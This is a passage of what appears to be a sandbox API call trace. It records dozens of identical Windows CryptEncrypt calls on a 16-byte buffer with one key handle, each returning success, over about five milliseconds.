(in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.149] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.150] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.151] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.152] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.153] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 